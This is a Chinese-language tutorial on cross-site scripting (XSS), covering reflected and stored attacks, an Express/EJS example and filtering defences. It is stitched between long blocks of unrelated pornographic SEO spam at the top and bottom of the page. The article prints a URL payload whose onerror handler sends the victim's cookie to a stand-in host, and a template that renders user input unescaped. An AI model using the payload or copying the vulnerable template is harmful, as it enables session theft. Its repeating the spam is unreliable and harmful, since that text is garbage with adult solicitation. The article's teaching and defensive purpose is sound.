精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Web安全之跨站腳本攻擊(XSS)

開發(fā) 前端
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。

什么是XSS

跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。

XSS的攻擊場景

  • 反射型這類攻擊方式主要借助URL來實施。URL的構(gòu)成分為協(xié)議、域名、端口、路徑、查詢幾部分構(gòu)成。如圖所示:

 

  • XSS往往在“查詢”部分發(fā)現(xiàn)漏洞構(gòu)造攻擊代碼實施攻擊,所謂“反射”可以理解為hacker并不會直接攻擊客戶,而是通過URL植入代碼通過服務(wù)器獲取并植入到用戶頁面完成攻擊。攻擊流程圖如下:

 

  • 存儲型存儲型攻擊方式和反射型最大的區(qū)別就是不通過URL來傳播,而是利用站點本身合法的存儲結(jié)構(gòu),比如評論。任何用戶都可以通過站點提供的接口提交評論內(nèi)容,這些評論內(nèi)容都被存儲到服務(wù)器的數(shù)據(jù)庫。當(dāng)用戶訪問這些評論的時候,服務(wù)器從數(shù)據(jù)庫提取內(nèi)容插入到頁面反饋給用戶。如果評論內(nèi)容本身是具備攻擊性內(nèi)容,用戶無一幸免。攻擊流程圖如下:

 

從上下兩個流程圖來看,反射型和存儲型的攻擊方式是本質(zhì)不同的,前者需要借助各種社交渠道傳播具備攻擊的URL來實施,后者通過網(wǎng)站本身的存儲漏洞,攻擊成本低很多,而且傷害力更大。

XSS的工作原理

不管是反射型還是存儲型,服務(wù)端都會將JavaScript當(dāng)做文本處理,這些文本在服務(wù)端被整合進(jìn)html文檔中,在瀏覽器解析這些文本的過程也就是XSS被執(zhí)行的時候。

從攻擊到執(zhí)行分為以下幾步:

  1. 構(gòu)造攻擊代碼
  2. 服務(wù)端提取并寫入HTML
  3. 瀏覽器解析,XSS執(zhí)行

構(gòu)造攻擊代碼

hacker在發(fā)現(xiàn)站點對應(yīng)的漏洞之后,基本可以確定是使用“反射型”或者“存儲型”。對于反射型這個很簡單了,執(zhí)行類似代碼:

  1. https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>" 

大家知道很多站點都提供搜索服務(wù),這里的item字段就是給服務(wù)端提供關(guān)鍵詞。如果hacker將關(guān)鍵詞修改成可執(zhí)行的JavaScript語句,如果服務(wù)端不加處理直接將類似代碼回顯到頁面,XSS代碼就會被執(zhí)行。

這段代碼的含義是告訴瀏覽器加載一張圖片,圖片的地址是空,根據(jù)加載機制空圖片的加載會觸發(fā)Element的onerror事件,這段代碼的onerror事件是將本地cookie傳到指定的網(wǎng)站。

很明顯,hacker可以拿到“中招”用戶的cookie,利用這個身份就可以拿到很多隱私信息和做一些不當(dāng)?shù)男袨榱恕?/p>

對于存儲型直接通過讀取數(shù)據(jù)庫將內(nèi)容打到接口上就可以了。

服務(wù)端提取并寫入HTML

我們以 Node.js 應(yīng)用型框架express.js為例:

服務(wù)端代碼(express.js)

  1. router.get('/'function (req, res, next) {   
  2.  
  3.     res.render('index', { 
  4.  
  5.         title: 'Express'
  6.  
  7.         search: req.query.item 
  8.  
  9.     }); 
  10.  
  11. });  

ejs模板

  1. <p> 
  2.  
  3. <%- search %> 
  4.  
  5. </p>  

這里列舉了以反射型為主的服務(wù)端代碼,通過獲取URL的查詢res.query.item,最后在模板中輸出內(nèi)容。對于存儲型的區(qū)別是通過數(shù)據(jù)庫拿到對應(yīng)內(nèi)容,模板部分一致。

瀏覽器解析,XSS執(zhí)行

 

從這個圖上來看瀏覽器解析主要做三件事:

  • 將文檔解析成DOM Tree
  • 解析CSS成規(guī)則樹
  • Javascript解析

在這個過程,XSS的代碼從文本變的可執(zhí)行。

XSS的防范措施

編碼

對于反射型的代碼,服務(wù)端代碼要對查詢進(jìn)行編碼,主要目的就是將查詢文本化,避免在瀏覽器解析階段轉(zhuǎn)換成DOM和CSS規(guī)則及JavaScript解析。

常見的HTML實體編碼如下:

 

除了編碼和解碼,還需要做額外的共奏來解決富文本內(nèi)容的XSS攻擊。

我們知道很多場景是允許用戶輸入富文本,而且也需要將富文本還原。這個時候就是hacker容易利用的點進(jìn)行XSS攻擊。

DOM Parse和過濾

從XSS工作的原理可知,在服務(wù)端進(jìn)行編碼,在模板解碼這個過程對于富文本的內(nèi)容來說,完全可以被瀏覽器解析到并執(zhí)行,進(jìn)而給了XSS執(zhí)行的可乘之機。

為了杜絕悲劇發(fā)生,我們需要在瀏覽器解析之后進(jìn)行解碼,得到的文本進(jìn)行DOM parse拿到DOM Tree,對所有的不安全因素進(jìn)行過濾,最后將內(nèi)容交給瀏覽器,達(dá)到避免XSS感染的效果。

具體原理如下:

 

  • 解碼
  1. var unescape = function(html, options) { 
  2.  
  3.             options = merge(options, decode.options); 
  4.  
  5.             var strict = options.strict; 
  6.  
  7.             if (strict && regexInvalidEntity.test(html)) { 
  8.  
  9.                 parseError('malformed character reference'); 
  10.  
  11.             } 
  12.  
  13.             return html.replace(regexDecode, function($0, $1, $2, $3, $4, $5, $6, $7) { 
  14.  
  15.                 var codePoint; 
  16.  
  17.                 var semicolon; 
  18.  
  19.                 var decDigits; 
  20.  
  21.                 var hexDigits; 
  22.  
  23.                 var reference; 
  24.  
  25.                 var next
  26.  
  27.                 if ($1) { 
  28.  
  29.                     // Decode decimal escapes, e.g. ``. 
  30.  
  31.                     decDigits = $1; 
  32.  
  33.                     semicolon = $2; 
  34.  
  35.                     if (strict && !semicolon) { 
  36.  
  37.                         parseError('character reference was not terminated by a semicolon'); 
  38.  
  39.                     } 
  40.  
  41.                     codePoint = parseInt(decDigits, 10); 
  42.  
  43.                     return codePointToSymbol(codePoint, strict); 
  44.  
  45.                 } 
  46.  
  47.                 if ($3) { 
  48.  
  49.                     // Decode hexadecimal escapes, e.g. ``. 
  50.  
  51.                     hexDigits = $3; 
  52.  
  53.                     semicolon = $4; 
  54.  
  55.                     if (strict && !semicolon) { 
  56.  
  57.                         parseError('character reference was not terminated by a semicolon'); 
  58.  
  59.                     } 
  60.  
  61.                     codePoint = parseInt(hexDigits, 16); 
  62.  
  63.                     return codePointToSymbol(codePoint, strict); 
  64.  
  65.                 } 
  66.  
  67.                 if ($5) { 
  68.  
  69.                     // Decode named character references with trailing `;`, e.g. `©`. 
  70.  
  71.                     reference = $5; 
  72.  
  73.                     if (has(decodeMap, reference)) { 
  74.  
  75.                         return decodeMap[reference]; 
  76.  
  77.                     } else { 
  78.  
  79.                         // Ambiguous ampersand. https://mths.be/notes/ambiguous-ampersands 
  80.  
  81.                         if (strict) { 
  82.  
  83.                             parseError( 
  84.  
  85.                                 'named character reference was not terminated by a semicolon' 
  86.  
  87.                             ); 
  88.  
  89.                         } 
  90.  
  91.                         return $0; 
  92.  
  93.                     } 
  94.  
  95.                 } 
  96.  
  97.                 // If we’re still here, it’s a legacy reference for sure. No need for an 
  98.  
  99.                 // extra `if` check
  100.  
  101.                 // Decode named character references without trailing `;`, e.g. `&amp` 
  102.  
  103.                 // This is only a parse error if it gets converted to `&`, or if it is 
  104.  
  105.                 // followed by `=` in an attribute context. 
  106.  
  107.                 reference = $6; 
  108.  
  109.                 next = $7; 
  110.  
  111.                 if (next && options.isAttributeValue) { 
  112.  
  113.                     if (strict && next == '=') { 
  114.  
  115.                         parseError('`&` did not start a character reference'); 
  116.  
  117.                     } 
  118.  
  119.                     return $0; 
  120.  
  121.                 } else { 
  122.  
  123.                     if (strict) { 
  124.  
  125.                         parseError( 
  126.  
  127.                             'named character reference was not terminated by a semicolon' 
  128.  
  129.                         ); 
  130.  
  131.                     } 
  132.  
  133.                     // Note: there is no need to check `has(decodeMapLegacy, reference)`. 
  134.  
  135.                     return decodeMapLegacy[reference] + (next || ''); 
  136.  
  137.                 } 
  138.  
  139.             }); 
  140.  
  141.         };  
  • DOM Parse和過濾
  1. var parse=function(str){   
  2.  
  3.     var results=''
  4.  
  5.     try { 
  6.  
  7.         HTMLParser(str,{ 
  8.  
  9.             start:function(tag,attrs,unary){ 
  10.  
  11.                 if(tag=='script' || tag=='style'|| tag=='img'|| tag=='link'){ 
  12.  
  13.                     return 
  14.  
  15.                 } 
  16.  
  17.                 results+=""
  18.  
  19.             }, 
  20.  
  21.             end:function(tag){ 
  22.  
  23.                 results+=""+tag+">"
  24.  
  25.             }, 
  26.  
  27.             chars:function(text){ 
  28.  
  29.                 results+=text; 
  30.  
  31.             }, 
  32.  
  33.             comment:function(){ 
  34.  
  35.                 results+="'; 
  36.  
  37.             } 
  38.  
  39.         }) 
  40.  
  41.         return results; 
  42.  
  43.     } catch (e) { 
  44.  
  45.   
  46.  
  47.     } finally { 
  48.  
  49.   
  50.  
  51.     } 
  52.  
  53. }; 
  54.  
  55.   
  56.  
  57.     var dst=parse(str);  

在此展示了部分代碼,其中DOM Parse可以采用第三方的Js庫來完成。

XSS的危害

相信大家都對XSS了有一定的了解,下面列舉幾個XSS影響比較大的事件供參考,做到警鐘長鳴。

  • 微博遭受攻擊案例2011年6月28日晚,新浪微博遭遇到XSS蠕蟲攻擊侵襲,在不到一個小時的時間,超過3萬微博用戶受到該XSS蠕蟲的攻擊。此事件給嚴(yán)重依賴社交網(wǎng)絡(luò)的網(wǎng)友們敲響了警鐘。在此之前,國內(nèi)多家著名的SNS網(wǎng)站和大型博客網(wǎng)站都曾遭遇過類似的攻擊事件,只不過沒有形成如此大規(guī)模傳播。雖然此次XSS蠕蟲攻擊事 件中,惡意黑客攻擊者并沒有在惡意腳本中植入掛馬代碼或其他竊取用戶賬號密碼信息的腳本,但是這至少說明,病毒木馬等黑色產(chǎn)業(yè)已經(jīng)將眼光投放到這個尚存漏洞的領(lǐng)域。
  • 貓撲遭受攻擊案例曾經(jīng)在貓撲大雜燴中存在這樣一個XSS漏洞,在用戶發(fā)表回復(fù)的時候,程序?qū)τ脩舭l(fā)表的內(nèi)容做了嚴(yán)格的過濾,但是我不知道為什么,當(dāng)用戶編輯回復(fù)內(nèi)容再次發(fā)表的時候,他卻采用了另外一種不同的過濾方式,而這種過濾方式顯然是不嚴(yán)密的,因此導(dǎo)致了XSS漏洞的出現(xiàn)。試想一下,像貓撲這樣的大型社區(qū),如果在一篇熱帖中,利用XSS漏洞來使所有的瀏覽這篇帖子的用戶都在不知不覺之中訪問到了另外一個站點,如果這個站點同樣是大型站點還好,但如果是中小型站點那就悲劇了,這將會引來多大的流量啊!更可怕的是,這些流量全部都是真實有效的!

如果本文有描述不準(zhǔn)確或錯誤,歡迎大家指正……,不勝感激。 

責(zé)任編輯:龐桂玉 來源: 前端大全
相關(guān)推薦

2010-09-10 14:13:11

2015-02-01 09:26:10

2013-01-11 17:33:46

2012-11-15 09:51:36

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2012-04-12 14:45:13

2013-01-28 16:44:50

2010-09-29 15:33:51

2012-11-09 15:42:44

2017-05-16 14:25:28

2010-08-30 11:15:38

2010-06-07 20:19:49

2013-05-22 18:06:41

2010-06-30 16:26:05

2009-02-24 17:19:38

2009-03-09 17:19:53

2009-03-09 12:37:48

2010-09-09 11:19:10

2010-09-27 17:37:10

2012-12-18 17:11:58

點贊
收藏

51CTO技術(shù)棧公眾號

奇米影视四色在线| 青娱乐国产91| 国产精选第一页| 免费成人结看片| 精品视频在线免费| 国产黄色激情视频| 四虎在线免费观看| 久久电影网站| 久久综合999| 国产精品一区二区三区免费视频 | 精品人妻av一区二区三区| 精品动漫3d一区二区三区免费版 | xxxx日本黄色| 色播一区二区| 欧美在线观看一区| 日本福利视频一区| 免费在线看黄| 久久久美女艺术照精彩视频福利播放| 成人羞羞国产免费| 国产99免费视频| 尤物网精品视频| 日韩视频免费中文字幕| 亚洲狠狠婷婷综合久久久久图片| 9999精品免费视频| 欧洲国产伦久久久久久久| 福利视频一二区| 国内精品久久久久久野外| 久久精品无码一区二区三区 | 香蕉国产成人午夜av影院| 91精品国产综合久久福利软件| 国产伦精品一区二区三区四区视频_| 黄色国产在线| 91免费看片在线观看| 成人片在线免费看| 国产男男gay体育生网站| 久久亚洲不卡| 5566日本婷婷色中文字幕97| 做a视频在线观看| 都市激情综合| 五月开心婷婷久久| av在线免费观看国产| 午夜在线视频| 国产精品每日更新在线播放网址 | 天天操天天射天天| 国产成人免费视频网站高清观看视频| 国产精品va在线播放我和闺蜜| 日韩精品视频免费播放| 激情亚洲网站| 久久久影视精品| 久久激情免费视频| 欧美午夜视频| 欧美日韩成人在线视频| 国模大尺度视频| 亚洲精品第一| 欧美日韩国产不卡| 亚洲最大天堂网| 婷婷精品久久久久久久久久不卡| 欧美日韩一区不卡| 污网站免费在线| 日韩精品一页| 欧美一区二区视频网站| 欧美视频国产视频| 麻豆精品在线| 精品国产伦一区二区三区免费| 久久黄色一级视频| 6080成人| 日韩成人在线播放| 9.1成人看片免费版| 久久97久久97精品免视看秋霞| 亚洲黄色片网站| 性高潮久久久久久久| 日本一区二区三区视频| 久久精品91久久香蕉加勒比| 九九热最新地址| 国产尤物精品| 欧美在线视频一区二区| 少妇无套内谢久久久久| 久久97超碰国产精品超碰| 亚洲综合社区网| 亚洲欧美日韩精品永久在线| 国产日韩欧美麻豆| 人人妻人人澡人人爽精品欧美一区| 黄色成年人视频在线观看| 亚洲综合色网站| 久久久久久久久久久久久国产精品 | 国产精品毛片一区二区在线看舒淇 | 69精品无码成人久久久久久| 国产精品福利在线观看播放| 欧美黄色性视频| 亚洲天堂视频网站| 久久国产精品第一页| 肥熟一91porny丨九色丨| 欧洲毛片在线| 亚洲精品福利视频网站| 免费无遮挡无码永久视频| 国产成人午夜性a一级毛片| 日韩午夜三级在线| 中文字幕在线1| 欧美阿v一级看视频| 欧美一级高清免费| 国产三级在线观看视频| 26uuu欧美| 久久免费一级片| 怡红院成人在线| 欧美成人女星排行榜| 一区二区三区伦理片| 欧美网站在线| 国产日韩欧美成人| 亚洲 欧美 自拍偷拍| 亚洲欧美日韩系列| 女人扒开屁股爽桶30分钟| 久久免费福利| 中文字幕在线观看亚洲| 依依成人综合网| 国产精品2024| 偷拍盗摄高潮叫床对白清晰| 欧美天堂视频| 亚洲高清免费观看高清完整版| 国产精品suv一区二区88| 亚洲欧美不卡| 国产精品一区在线播放| 免费在线观看av网站| 欧美自拍丝袜亚洲| 鲁大师私人影院在线观看| 韩国在线视频一区| 91色视频在线观看| 一区二区乱子伦在线播放| 成人免费三级在线| 天天在线免费视频| 国产精品99| 亚洲人成五月天| 国产性猛交╳xxx乱大交| 成人激情视频网站| 国产精品va在线观看无码| 一区二区三区日本视频| 色悠悠久久88| 中文在线字幕av| 欧美国产精品中文字幕| 国模杨依粉嫩蝴蝶150p| 五月国产精品| 欧美亚洲成人xxx| 性xxxx18| 色综合网站在线| 久久午夜夜伦鲁鲁片| 亚洲精品国产日韩| 国产一区二区三区四区五区在线 | 国产日韩精品一区观看| 色呦呦在线观看视频| 日韩免费观看高清完整版在线观看| 精品在线观看一区| 国产乱子轮精品视频| 95av在线视频| 黄av在线播放| 7777精品久久久大香线蕉| 九九热视频在线免费观看| 麻豆精品在线观看| 日本免费在线视频观看| 日本一区精品视频| 久久久亚洲成人| 日本一二三区在线视频| 在线观看www91| 网站永久看片免费| 国产一区二区视频在线| 9191国产视频| 精品深夜福利视频| 茄子视频成人在线| 国产大片在线免费观看| 欧美人狂配大交3d怪物一区| 欧美成人精品欧美一级| 成人av资源站| 国产精品69页| 一精品久久久| 精品国产乱码久久久久久88av| videos性欧美另类高清| 最近2019好看的中文字幕免费| 国产女主播福利| 亚洲成人一二三| 一级黄色性视频| 精品一区二区精品| 日韩精品在线视频免费观看| 都市激情亚洲欧美| 国产午夜精品免费一区二区三区| 欧美性猛交xxxx乱大交hd| 国产精品国产三级国产普通话99| 久久久久久国产精品日本| 亚洲理论在线| 亚洲视频在线观看日本a| 精品亚洲二区| 欧美做爰性生交视频| 午夜在线观看视频| 亚洲大胆人体在线| 最好看的日本字幕mv视频大全| 成人免费在线视频| www.88av| 国产一区二区免费视频| 18禁男女爽爽爽午夜网站免费| 第一会所亚洲原创| 国产亚洲二区| japansex久久高清精品| 欧美一级高清免费播放| 国产网站在线免费观看| 亚洲美女性视频| 亚洲成人一级片| 欧美亚洲日本国产| 日韩字幕在线观看| 亚洲视频一二三区| 亚洲av毛片基地| 99re这里都是精品| 午夜影院免费观看视频| 日本女人一区二区三区| 国产素人在线观看| 一本一道久久a久久精品蜜桃 | 亚洲v精品v日韩v欧美v专区| 蜜桃av免费观看| 久久久久久久精| 精品人妻在线视频| 国产精品一区二区三区四区| 欧美日韩亚洲自拍| 午夜亚洲性色福利视频| 日韩精品综合在线| 亚洲欧美日韩高清在线| 三区精品视频| 女人av一区| 久久久一本精品99久久精品| 97精品久久| 亚洲综合精品一区二区| crdy在线观看欧美| 成人美女免费网站视频| 高清在线一区| 国产精品高潮视频| 日本精品裸体写真集在线观看| 91国偷自产一区二区三区的观看方式| 午夜小视频福利在线观看| 精品国产一区二区三区四区在线观看 | 亚洲中文字幕在线一区| 色视频成人在线观看免| 一本一道无码中文字幕精品热| 午夜欧美大尺度福利影院在线看| 久久免费播放视频| 亚洲综合另类小说| 欧美三根一起进三p| 亚洲欧美日韩在线不卡| 污污的视频在线免费观看| 一区在线观看视频| 男人av资源站| 亚洲欧美日韩系列| 免费看一级一片| 亚洲综合偷拍欧美一区色| 免费在线观看黄视频| 一个色综合网站| 久久精品视频6| 午夜久久久久久久久久一区二区| 国产无码精品在线播放| 精品国产精品自拍| 五月天婷婷久久| 色婷婷亚洲婷婷| 日韩欧美国产另类| 欧美午夜一区二区三区免费大片| 中文字幕永久在线视频| 欧美精品在线观看播放| 国产精品呻吟久久| 日韩一区二区精品葵司在线| 空姐吹箫视频大全| 日韩激情第一页| wwwww在线观看免费视频| 日韩视频中文字幕| 日韩三级电影视频| 国产91精品久久久久久久| 欧美日韩成人影院| 成人免费视频网址| 国产成人精品福利| 欧美日韩一区二区三区免费| 日韩精品一区二区三区免费观影 | 亚洲国产精品久| 亚洲国产精品综合小说图片区| 丰满少妇乱子伦精品看片| 色综合欧美在线| 一区二区国产欧美| 亚洲精品一区二区三区影院 | 久久天天躁狠狠躁夜夜躁2014| 91福利国产在线观看菠萝蜜| 91高潮精品免费porn| 精品免费av在线| 91一区二区三区| 免费观看久久av| 国产精品视频网站在线观看| 另类激情亚洲| 欧美日韩一区二区区| 久久久久久亚洲综合| 日韩福利小视频| 福利视频第一区| av中文字幕播放| 精品一区二区三区三区| a级在线观看| 热re99久久精品国产66热| 91麻豆精品一二三区在线| 久久国产精品 国产精品| 先锋资源久久| 狠狠爱免费视频| 国产成人精品一区二| 中文字幕 自拍| 亚洲国产精品一区二区久久| 亚洲香蕉在线视频| 日韩国产精品一区| 91精品久久| 国产精品欧美一区二区三区奶水 | 国产高清视频一区| 亚洲av熟女国产一区二区性色| 亚洲一区在线免费观看| 中文字字幕在线中文乱码| 亚洲韩国青草视频| a篇片在线观看网站| 国产精品久久久久久搜索 | 韩国理伦片一区二区三区在线播放| 中文字幕无码人妻少妇免费| 亚洲色图19p| 最近中文字幕在线观看| 日韩国产一区三区| 牛牛电影国产一区二区| 91久久精品久久国产性色也91| 女厕嘘嘘一区二区在线播放 | 福利一区在线| 欧美日韩一区在线视频| 亚洲激情另类| 无码人妻久久一区二区三区蜜桃| 中文字幕在线不卡一区二区三区| 欧美日韩一级黄色片| 日韩av在线免费观看| 91资源在线观看| 国产精品免费观看高清| 欧美精品成人| 三上悠亚 电影| 亚洲欧美日韩系列| 国产视频一二三四区| 久久久精品999| 国产成人免费av一区二区午夜| 亚洲欧美日韩在线综合 | 国产一区欧美二区三区| 欧美三级伦理在线| 黑森林精品导航| 国产精品视频yy9299一区| 337p粉嫩色噜噜噜大肥臀| 亚洲欧美日韩国产中文| 国产免费不卡| 日韩欧美在线电影| 美女网站一区二区| av在线播放中文字幕| 欧美日韩高清一区| 成人影院www在线观看| 91九色视频在线观看| 亚洲国产国产亚洲一二三| 女性生殖扒开酷刑vk| 亚洲va欧美va人人爽午夜| 少妇av在线播放| 欧美孕妇与黑人孕交| 精品国内自产拍在线观看视频 | 国产精品123区| 国产一级特黄视频| 亚洲成年人在线播放| 亚洲欧洲日本韩国| 日韩免费电影一区二区三区| 日本视频一区二区三区| 影音先锋男人资源在线观看| 欧美一区二区三区的| av第一福利在线导航| 欧美日韩综合网| 久久精品国产亚洲aⅴ| 久草视频免费在线| 日韩av在线免费观看一区| 激情久久99| 国产美女作爱全过程免费视频| 91丨国产丨九色丨pron| 中文字幕永久在线观看| 欧美激情视频在线免费观看 欧美视频免费一 | 欧美日韩国产精品成人| 欧美大胆的人体xxxx| 久久国产主播精品| 麻豆精品国产传媒mv男同| 欧美成人精品欧美一级私黄| 亚洲跨种族黑人xxx| 色999韩欧美国产综合俺来也| 国产一区二区三区小说| 久久精品视频一区二区| 国产日韩在线观看一区| 人九九综合九九宗合| 天天天综合网| 亚洲一区二区三区综合| 欧美日韩1234| 国产乱码精品一区二三赶尸艳谈| 日韩三级电影| 国产69精品久久久久777| 日本熟妇一区二区三区| 久久久中文字幕| 日韩在线二区| 99久久免费看精品国产一区 | 天堂av2024| 国产日韩在线播放| 亚洲视频二区| avtt天堂在线| 一区二区在线视频播放|